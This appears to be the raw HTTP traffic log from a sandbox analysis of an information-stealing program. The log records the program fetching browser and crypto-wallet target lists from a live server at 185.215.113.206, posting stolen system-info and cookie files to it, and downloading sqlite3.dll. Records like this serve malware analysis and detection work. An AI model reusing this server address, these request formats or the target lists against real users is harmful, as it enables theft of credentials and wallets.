Oct 30, 2024 23:11:11.612828016 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 57 46 68 4e 7a 55 30 4f 47 46 6c 4d 6a 49 35 4f 44 59 79 4f 57 49 79 4d 6a 6b 7a 4d 32 49 77 59 6a 41 31 4e 57 59 31 4e 7a 56 68 4d 44 5a 6c 59 54 4a 68 4d 54 67 32 4d 57 52 69 59 6d 4d 32 4f 44 4a 69 4d 6d 4d 30 59 6a 68 69 59 57 51 33 4d 44 42 69 59 54 51 34 4e 47 4e 68 4f 47 59 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZWFhNzU0OGFlMjI5ODYyOWIyMjkzM2IwYjA1NWY1NzVhMDZlYTJhMTg2MWRiYmM2ODJiMmM0YjhiYWQ3MDBiYTQ4NGNhOGY4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 23:11:11.614919901 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEBFBKKJDHIDHIDBAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 2d 2d 0d 0a Data Ascii: ------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="message"browsers------HCAEBFBKKJDHIDHIDBAE--
Oct 30, 2024 23:11:11.904784918 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 23:11:11.904803038 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 23:11:11.906049967 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFII Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 47 43 42 4b 45 47 43 46 43 42 46 49 44 42 46 49 49 2d 2d 0d 0a Data Ascii: ------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------FIEGCBKEGCFCBFIDBFIIContent-Disposition: form-data; name="message"plugins------FIEGCBKEGCFCBFIDBFII--
Oct 30, 2024 23:11:12.195928097 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 23:11:12.195957899 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 30, 2024 23:11:12.195970058 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 30, 2024 23:11:12.196105957 CET	336	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 30, 2024 23:11:12.196170092 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Oct 30, 2024 23:11:12.196270943 CET	1236	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHx
Oct 30, 2024 23:11:12.196283102 CET	828	IN	Data Raw: 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d Data Ascii: YW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3w
Oct 30, 2024 23:11:12.198417902 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="message"fplugins------AKKEHIECFCAAFIEBGIDA--
Oct 30, 2024 23:11:12.487277031 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 23:11:12.505827904 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDB Host: 185.215.113.206 Content-Length: 6143 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 23:11:12.505943060 CET	6143	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 Data Ascii: ------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 23:11:13.308435917 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:13.964864969 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:14.251883984 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 23:11:14.251904011 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 30, 2024 23:11:14.251914024 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49779	185.215.113.206	80	2800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 23:11:27.414280891 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 23:11:27.414298058 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 23:11:28.826771975 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:29.066396952 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: 